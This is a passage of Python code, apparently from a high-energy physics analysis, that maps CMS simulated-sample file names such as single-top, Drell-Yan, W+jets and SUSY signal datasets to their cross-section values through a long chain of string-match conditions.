elif fileName.find("ST_t-channel_antitop_4f_mtop1755_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 0.0
elif fileName.find("ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1") !=-1 : return 0.0
elif fileName.find("ST_t-channel_antitop_4f_mtop1785_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 0.0
elif fileName.find("ST_t-channel_top_5f_TuneCP5_PSweights_13TeV-powheg-madspin-pythia8_vtd_vts_prod") !=-1 : return 547.2
elif fileName.find("SMS-T8bbllnunu_XCha0p5_XSlep0p05_mN1_700_1000_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 4.925e-05
elif fileName.find("SMS-T8bbllnunu_XCha0p5_XSlep0p95_mN1_700_1600_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 4.708e-05
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_TuneCP5up_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_TuneCP5_erdON_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("ST_t-channel_antitop_4f_InclusiveDecays_TuneCP5CR1_13TeV-powheg-madspin-pythia8") !=-1 : return 69.09
elif fileName.find("ST_t-channel_antitop_4f_InclusiveDecays_TuneCP5CR2_13TeV-powheg-madspin-pythia8") !=-1 : return 69.09
elif fileName.find("TTZToLLNuNu_M-10_TuneCP5_PSweights_correctnPartonsInBorn_13TeV-amcatnlo-pythia8") !=-1 : return 0.2432
elif fileName.find("ST_t-channel_antitop_4f_hdampup_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 76.18
elif fileName.find("ST_t-channel_top_4f_Vtd_Vts_prod_leptonicDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 4.209e-09
elif fileName.find("ST_t-channel_antitop_4f_scaleup_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 0.0
elif fileName.find("ST_s-channel_4f_leptonDecays_mtop1695_TuneCP5_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 3.991
elif fileName.find("ST_s-channel_4f_leptonDecays_mtop1715_TuneCP5_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 3.824
elif fileName.find("ST_s-channel_4f_leptonDecays_mtop1735_TuneCP5_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 3.653
elif fileName.find("ST_t-channel_antitop_4f_inclusiveDecays_TuneCP5_13TeV-powhegV2-madspin-pythia8") !=-1 : return 67.91
elif fileName.find("ST_s-channel_4f_leptonDecays_mtop1755_TuneCP5_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 3.506
elif fileName.find("SMS-T8bbllnunu_XCha0p5_XSlep0p5_mN1_700_1300_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 5.087e-05
elif fileName.find("ST_FCNC-TH_Thadronic_HToWWZZtautau_Ctphi_CtG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.6462
elif fileName.find("ST_t-channel_antitop_4f_InclusiveDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 67.91
elif fileName.find("ST_t-channel_top_4f_InclusiveDecays_TuneCP5down_PSweights_13TeV-powheg-pythia8") !=-1 : return 113.3
elif fileName.find("ST_FCNC-TH_Tleptonic_HToWWZZtautau_Ctphi_CtG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.3233
elif fileName.find("ST_t-channel_antitop_4f_InclusiveDecays_TuneCP5up_13TeV-powheg-madspin-pythia8") !=-1 : return 69.09
elif fileName.find("ST_t-channel_top_4f_InclusiveDecays_TuneCP5_erdON_13TeV-powheg-madspin-pythia8") !=-1 : return 115.3
elif fileName.find("TTWJetsToLNu_TuneCP5CR2_GluonMove_PSweights_13TeV-amcatnloFXFX-madspin-pythia8") !=-1 : return 0.2183
elif fileName.find("ST_t-channel_antitop_4f_inclusiveDecays_TuneCUETP8M2T4_13TeV-powhegV2-madspin") !=-1 : return 0.0
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("ST_t-channel_top_4f_InclusiveDecays_TuneCP5CR1_PSweights_13TeV-powheg-pythia8") !=-1 : return 113.3
elif fileName.find("ST_t-channel_top_4f_InclusiveDecays_TuneCP5CR2_PSweights_13TeV-powheg-pythia8") !=-1 : return 113.3
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_TuneCP5down_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("ST_tW_antitop_5f_hdampdown_NoFullyHadronicDecays_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 34.98
elif fileName.find("TTWJetsToLNu_TuneCP5CR1_QCDbased_PSweights_13TeV-amcatnloFXFX-madspin-pythia8") !=-1 : return 0.2169
elif fileName.find("ST_t-channel_top_4f_hdampdown_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 126.5
elif fileName.find("ST_t-channel_top_4f_scaledown_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 0.0
elif fileName.find("ST_tW_antitop_5f_scaledown_inclusiveDecays_13TeV-powheg-pythia8_TuneCUETP8M1") !=-1 : return 38.06
elif fileName.find("ST_tW_top_5f_inclusiveDecays_mtop1695_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 36.58
elif fileName.find("ST_tW_top_5f_inclusiveDecays_mtop1715_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 35.46
elif fileName.find("SMS-T2bt-LLChipm_ctau-200_mStop-1550to2500_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 1.752e-06
elif fileName.find("ST_t-channel_top_4f_InclusiveDecays_TuneCP5up_PSweights_13TeV-powheg-pythia8") !=-1 : return 113.3
elif fileName.find("ST_tW_top_5f_DS_NoFullyHadronicDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 33.75
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_TuneCP5CR1_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_TuneCP5CR2_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("ST_tW_top_5f_inclusiveDecays_mtop1735_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.38
elif fileName.find("ST_tW_top_5f_inclusiveDecays_mtop1755_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 33.34
elif fileName.find("SMS-T8bbllnunu_XCha0p5_XSlep0p95_mN1_0_650_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 4.052e-05
elif fileName.find("ST_t-channel_antitop_4f_InclusiveDecays_TuneCP5_13TeV-powheg-madspin-pythia8") !=-1 : return 69.09
elif fileName.find("ST_t-channel_top_4f_InclusiveDecays_TuneCP5down_13TeV-powheg-madspin-pythia8") !=-1 : return 115.3
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_mtop1695_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 36.65
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_mtop1715_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 36.65
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_mtop1735_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 36.65
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_mtop1755_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 36.65
elif fileName.find("ST_t-channel_top_4f_mtop1665_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 0.0
elif fileName.find("ST_t-channel_top_4f_mtop1695_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 0.0
elif fileName.find("ST_t-channel_top_4f_mtop1715_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 0.0
elif fileName.find("ST_t-channel_top_4f_mtop1735_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 0.0
elif fileName.find("ST_t-channel_top_4f_mtop1755_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 0.0
elif fileName.find("ST_t-channel_top_4f_mtop1785_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 0.0
elif fileName.find("ST_tW_antitop_5f_mtop1695_inclusiveDecays_13TeV-powheg-pythia8_TuneCUETP8M1") !=-1 : return 39.87
elif fileName.find("ST_tW_antitop_5f_mtop1755_inclusiveDecays_13TeV-powheg-pythia8_TuneCUETP8M1") !=-1 : return 36.35
elif fileName.find("SMS-T2bW_X05_dM-10to80_2Lfilter_mWMin-0p1_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.003536
elif fileName.find("SMS-T2bt-LLChipm_ctau-10_mStop-1550to2500_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 1.614e-06
elif fileName.find("SMS-T2bt-LLChipm_ctau-50_mStop-1550to2500_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 2.24e-06
elif fileName.find("ST_FCNC-TH_Thadronic_HToWWZZtautau_Ctcphi_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.03095
elif fileName.find("ST_FCNC-TH_Tleptonic_HToWWZZtautau_Ctcphi_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.0155
elif fileName.find("ST_t-channel_eleDecays_anomwtbLVRV_LVRVunphys_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 47.81
elif fileName.find("ST_t-channel_tauDecays_anomwtbLVLT_LVLTunphys_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 84.72
elif fileName.find("ST_t-channel_tauDecays_anomwtbLVRV_LVRVunphys_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 47.69
elif fileName.find("ST_tW_antitop_5f_inclusiveDecays_TuneCP5down_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_TuneCP5up_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("ST_t-channel_top_4f_InclusiveDecays_TuneCP5CR1_13TeV-powheg-madspin-pythia8") !=-1 : return 115.3
elif fileName.find("ST_t-channel_top_4f_InclusiveDecays_TuneCP5CR2_13TeV-powheg-madspin-pythia8") !=-1 : return 115.3
elif fileName.find("ST_tW_antitop_5f_hdampup_NoFullyHadronicDecays_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("ST_t-channel_4f_scaledown_leptonDecays_13TeV-amcatnlo-pythia8_TuneCUETP8M1") !=-1 : return 67.17
elif fileName.find("ST_t-channel_top_4f_hdampup_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 126.5
elif fileName.find("ST_t-channel_top_4f_scaleup_inclusiveDecays_13TeV-powhegV2-madspin-pythia8") !=-1 : return 0.0
elif fileName.find("ST_tW_antitop_5f_scaleup_inclusiveDecays_13TeV-powheg-pythia8_TuneCUETP8M1") !=-1 : return 38.06
elif fileName.find("ST_t-channel_top_4f_inclusiveDecays_TuneCP5_13TeV-powhegV2-madspin-pythia8") !=-1 : return 113.3
elif fileName.find("ST_FCNC-TH_Thadronic_HToWWZZtautau_Ctphi_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.2354
elif fileName.find("ST_FCNC-TH_Tleptonic_HToWWZZtautau_Ctphi_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.1177
elif fileName.find("ST_t-channel_eDecays_anomwtbLVRT_LV3RT1_13TeV-comphep-pythia8_TuneCUETP8M1") !=-1 : return 54.49
elif fileName.find("ST_t-channel_muDecays_anomwtbLVLT_LVLTunphys_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 84.86
elif fileName.find("ST_t-channel_muDecays_anomwtbLVRV_LVRVunphys_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 47.63
elif fileName.find("ST_t-channel_top_4f_InclusiveDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 113.3
elif fileName.find("ST_tW_antitop_5f_DS_inclusiveDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 35.25
elif fileName.find("ST_t-channel_antitop_5f_TuneCP5_13TeV-powheg-madspin-pythia8_vtd_vts_decay") !=-1 : return 82.52
elif fileName.find("ST_t-channel_top_4f_InclusiveDecays_TuneCP5up_13TeV-powheg-madspin-pythia8") !=-1 : return 115.3
elif fileName.find("DYJetsToLL_M-50_HT-1200to2500_TuneCP5_PSweights_13TeV-madgraphMLM-pythia8") !=-1 : return 0.1937
elif fileName.find("ST_t-channel_top_4f_inclusiveDecays_TuneCUETP8M2T4_13TeV-powhegV2-madspin") !=-1 : return 0.0
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("ST_FCNC-TH_Thadronic_HToWWZZtautau_CtcG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.0241
elif fileName.find("ST_FCNC-TH_Tleptonic_HToWWZZtautau_CtcG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.01205
elif fileName.find("ST_s-channel_4f_leptonDecays_TuneCP5down_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 3.74
elif fileName.find("ST_t-channel_eDecays_anomwtbLVLT_LVLTunphys_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 84.84
elif fileName.find("ST_tW_antitop_5f_inclusiveDecays_TuneCP5up_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("ST_t-channel_antitop_5f_TuneCP5_13TeV-powheg-madspin-pythia8_vtd_vts_prod") !=-1 : return 225.5
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_TuneCP5_erdON_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("ST_tW_top_5f_hdampdown_NoFullyHadronicDecays_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("WJetsToLNu_BGenFilter_Wpt-200toInf_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 3.774
elif fileName.find("DYJetsToLL_M-50_HT-2500toInf_TuneCP5_PSweights_13TeV-madgraphMLM-pythia8") !=-1 : return 0.003514
elif fileName.find("DYJetsToLL_M-50_HT-800to1200_TuneCP5_PSweights_13TeV-madgraphMLM-pythia8") !=-1 : return 0.8021
elif fileName.find("ST_tW_top_5f_scaledown_inclusiveDecays_13TeV-powheg-pythia8_TuneCUETP8M1") !=-1 : return 38.09
elif fileName.find("SMS-T2tt_dM-10to80_genHT-160_genMET-80_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0009043
elif fileName.find("SMS-TChiHH_HToWWZZTauTau_HToWWZZTauTau_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 1.272e-06
elif fileName.find("ST_FCNC-TH_Thadronic_HToWWZZtautau_CtG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.2215
elif fileName.find("ST_FCNC-TH_Thadronic_HToaa_Ctcphi_CtcG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.08174
elif fileName.find("ST_FCNC-TH_Tleptonic_HToWWZZtautau_CtG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.1108
elif fileName.find("ST_FCNC-TH_Tleptonic_HToaa_Ctcphi_CtcG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.0408
elif fileName.find("ST_FCNC-TH_Tleptonic_HTobb_Ctcphi_CtcG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.0408
elif fileName.find("ST_s-channel_4f_leptonDecays_TuneCP5CR1_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 3.74
elif fileName.find("ST_s-channel_4f_leptonDecays_TuneCP5CR2_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 3.74
elif fileName.find("ST_t-channel_top_4f_InclusiveDecays_TuneCP5_13TeV-powheg-madspin-pythia8") !=-1 : return 115.3
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_mtop1695_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 36.65
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_mtop1715_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 36.65
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_mtop1735_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 36.65
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_mtop1755_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 36.65
elif fileName.find("TTJets_SingleLeptFromT_genMET-150_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 5.952
elif fileName.find("WJetsToLNu_BGenFilter_Wpt-40toInf_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 202.9
elif fileName.find("DYJetsToLL_M-50_HT-100to200_TuneCP5_PSweights_13TeV-madgraphMLM-pythia8") !=-1 : return 160.7
elif fileName.find("DYJetsToLL_M-50_HT-200to400_TuneCP5_PSweights_13TeV-madgraphMLM-pythia8") !=-1 : return 48.63
elif fileName.find("DYJetsToLL_M-50_HT-400to600_TuneCP5_PSweights_13TeV-madgraphMLM-pythia8") !=-1 : return 6.993
elif fileName.find("DYJetsToLL_M-50_HT-600to800_TuneCP5_PSweights_13TeV-madgraphMLM-pythia8") !=-1 : return 1.761
elif fileName.find("ST_t-channel_antitop_4f_inclusiveDecays_13TeV-powhegV2-madspin-herwigpp") !=-1 : return 0.0
elif fileName.find("ST_tW_antitop_PSscaledown_5f_NoFullyHadronicDecays_13TeV-powheg-pythia8") !=-1 : return 38.09
elif fileName.find("ST_tW_top_5f_DS_NoFullyHadronicDecays_13TeV-powheg-pythia8_TuneCUETP8M1") !=-1 : return 36.21
elif fileName.find("ST_tW_top_5f_mtop1695_inclusiveDecays_13TeV-powheg-pythia8_TuneCUETP8M1") !=-1 : return 39.9
elif fileName.find("ST_tW_top_5f_mtop1755_inclusiveDecays_13TeV-powheg-pythia8_TuneCUETP8M1") !=-1 : return 36.39
elif fileName.find("ST_tW_antitop_5f_inclusiveDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("SMS-T6bbllslepton_mSbottom-1400To1800_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 4.512e-05
elif fileName.find("ST_s-channel_4f_leptonDecays_TuneCP5up_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 3.74
elif fileName.find("ST_t-channel_tauDecays_anomwtbLVRT_LV1RT4_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 108.3
elif fileName.find("ST_t-channel_tauDecays_anomwtbLVRT_LV2RT2_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 102.2
elif fileName.find("ST_t-channel_tauDecays_anomwtbLVRT_LV3RT1_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 54.52
elif fileName.find("ST_tW_top_5f_inclusiveDecays_TuneCP5down_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_TuneCP5down_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("ST_tW_top_5f_hdampup_NoFullyHadronicDecays_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 34.9
elif fileName.find("WJetsToLNu_Wpt-200toInf_TuneCUETP8M1_13TeV-madgraphMLM-pythia8_TuneDown") !=-1 : return 50.55
elif fileName.find("DYJetsToLL_M-50_VBFFilter_TuneCP5_PSweights_13TeV-amcatnloFXFX-pythia8") !=-1 : return 266.1
elif fileName.find("DYJetsToLL_M-50_HT-70to100_TuneCP5_PSweights_13TeV-madgraphMLM-pythia8") !=-1 : return 146.5
elif fileName.find("ST_tW_top_5f_scaleup_inclusiveDecays_13TeV-powheg-pythia8_TuneCUETP8M1") !=-1 : return 38.09
elif fileName.find("SMS-T6bbllslepton_mSbottom-800To1375_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0005656
elif fileName.find("SMS-TChiStauStau_mChi1050to1200_x0p5_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0005313
elif fileName.find("ST_FCNC-TH_Thadronic_HToaa_Ctphi_CtG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.6452
elif fileName.find("ST_FCNC-TH_Tleptonic_HToaa_Ctphi_CtG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.323
elif fileName.find("ST_FCNC-TH_Tleptonic_HTobb_Ctphi_CtG_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.3227
elif fileName.find("ST_t-channel_muDecays_anomwtbLVRT_LV1RT4_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 108.6
elif fileName.find("ST_t-channel_muDecays_anomwtbLVRT_LV2RT2_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 102.7
elif fileName.find("ST_t-channel_muDecays_anomwtbLVRT_LV3RT1_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 54.72
elif fileName.find("ST_tW_top_5f_DS_inclusiveDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 33.75
elif fileName.find("ST_tW_antitop_5f_DS_NoFullyHadronicDecays_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 35.13
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_TuneCP5CR1_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_TuneCP5CR2_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("TTJets_SingleLeptFromTbar_genMET-150_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 6.167
elif fileName.find("TTZToLLNuNu_M-10_TuneCP5CR2_GluonMove_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 0.2432
elif fileName.find("DYJetsToLL_M-50_VBFFilter_TuneCP5_PSweights_13TeV-madgraphMLM-pythia8") !=-1 : return 202.3
elif fileName.find("ST_tW_antitop_5f_DS_inclusiveDecays_13TeV-powheg-pythia8_TuneCUETP8M1") !=-1 : return 36.23
elif fileName.find("ST_tW_antitop_5f_PSscaleup_NoFullyHadronicDecays_13TeV-powheg-pythia8") !=-1 : return 38.06
elif fileName.find("ST_s-channel_4f_leptonDecays_TuneCP5_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 3.74
elif fileName.find("SMS-T2qqgamma_mSq-200to800_dM-5to50_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0002782
elif fileName.find("SMS-T6bbllslepton_mSbottom-400To775_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.03313
elif fileName.find("SMS-TChiStauStau_mLSP-625to800_x0p5_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0008715
elif fileName.find("ST_t-channel_4f_leptonDecays_TuneCP5_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 70.9
elif fileName.find("ST_t-channel_eDecays_anomwtbLVRT_LV1RT4_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 108.9
elif fileName.find("ST_t-channel_eDecays_anomwtbLVRT_LV2RT2_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 102.9
elif fileName.find("ST_tW_top_5f_inclusiveDecays_TuneCP5up_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("SMS-T6ttHZ_BR-H_0p6_mStop1050to1600_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.000122
elif fileName.find("ST_t-channel_top_5f_TuneCP5_13TeV-powheg-madspin-pythia8_vtd_vts_prod") !=-1 : return 547.2
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_TuneCP5up_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_TuneCP5_erdON_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("TTJets_SingleLeptFromTbar_genMET-80_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 31.68
elif fileName.find("TTZToLLNuNu_M-10_TuneCP5CR1_QCDbased_PSweights_13TeV-amcatnlo-pythia8") !=-1 : return 0.2432
elif fileName.find("WJetsToLNu_Wpt-200toInf_TuneCUETP8M1_13TeV-madgraphMLM-pythia8_TuneUp") !=-1 : return 50.81
elif fileName.find("DYJetsToLL_M-50_HT-1200to2500_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 0.1512
elif fileName.find("DYJetsToLL_M-50_TuneCUETP8M1_13TeV-amcatnloFXFX-pythia8_CUETP8M1Down") !=-1 : return 5940.0
elif fileName.find("LambdaBToLambdaMuMu_SoftQCDnonDTest_TuneCUEP8M1_13TeV-pythia8-evtgen") !=-1 : return 1521000.0
elif fileName.find("ST_tW_antitop_5f_inclusiveDecays_13TeV-powheg-pythia8_TuneCUETP8M2T4") !=-1 : return 38.06
elif fileName.find("ST_tW_antitop_5f_mtop1695_NoFullyHadronicDecays_13TeV-powheg-pythia8") !=-1 : return 39.87
elif fileName.find("ST_tW_antitop_5f_mtop1755_NoFullyHadronicDecays_13TeV-powheg-pythia8") !=-1 : return 36.35
elif fileName.find("SMS-T6ttHZ_BR-H_0p6_mStop300to1000_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.00583
elif fileName.find("ST_t-channel_tauDecays_anomwtbLVRT_RT4_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 53.84
elif fileName.find("TTWJetsToLNu_TuneCP5CR2_GluonMove_13TeV-amcatnloFXFX-madspin-pythia8") !=-1 : return 0.2188
elif fileName.find("WJetsToLNu_BGenFilter_Wpt-100to200_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 26.44
elif fileName.find("WJetsToLNu_BGenFilter_Wpt-200toInf_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 3.89
elif fileName.find("WJetsToLNu_CGenFilter_Wpt-100to200_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 215.2
elif fileName.find("WJetsToLNu_CGenFilter_Wpt-200toInf_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 24.52
elif fileName.find("DYJetsToLL_M-50_HT-2500toInf_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 0.003659
elif fileName.find("DYJetsToLL_M-50_HT-800to1200_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 0.6229
elif fileName.find("DYJetsToLL_M-50_Zpt-150toInf_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 18.36
elif fileName.find("ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-herwigpp") !=-1 : return 0.0
elif fileName.find("ST_tW_top_PSscaledown_5f_NoFullyHadronicDecays_13TeV-powheg-pythia8") !=-1 : return 38.06
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 34.97
elif fileName.find("ST_tW_top_5f_inclusiveDecays_TuneCP5_PSweights_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("MSSM-higgsino_genHT-160_genMET-80_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.08053
elif fileName.find("SMS-TChiHZ_HToWWZZTauTau_2LFilter_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 1.159e-06
elif fileName.find("SMS-TChiSlepSnu_tauenriched_x0p05_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0001499
elif fileName.find("SMS-TChiSlepSnu_tauenriched_x0p95_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0001581
elif fileName.find("ST_FCNC-TH_Thadronic_HToaa_Ctcphi_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.03097
elif fileName.find("ST_FCNC-TH_Tleptonic_HToaa_Ctcphi_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.0155
elif fileName.find("ST_FCNC-TH_Tleptonic_HTobb_Ctcphi_CP5_13TeV-mcatnlo-madspin-pythia8") !=-1 : return 0.01551
elif fileName.find("ST_t-channel_muDecays_anomwtbLVRT_RT4_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 53.81
elif fileName.find("ST_t-channel_tauDecays_anomwtbLVLT_LT_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 71.8
elif fileName.find("ST_t-channel_tauDecays_anomwtbLVRV_RV_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 24.06
elif fileName.find("ST_tW_antitop_5f_NoFullyHadronicDecays_TuneCH3_13TeV-powheg-herwig7") !=-1 : return 34.99
elif fileName.find("ST_tW_top_5f_NoFullyHadronicDecays_TuneCP5down_13TeV-powheg-pythia8") !=-1 : return 34.91
elif fileName.find("TTJets_SingleLeptFromTbar_TuneCUETP8M2T4_13TeV-amcatnloFXFX-pythia8") !=-1 : return 157.9
elif fileName.find("TTJets_SingleLeptFromT_genMET-150_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 6.212
elif fileName.find("TTWJetsToLNu_TuneCP5CR1_QCDbased_13TeV-amcatnloFXFX-madspin-pythia8") !=-1 : return 0.2183
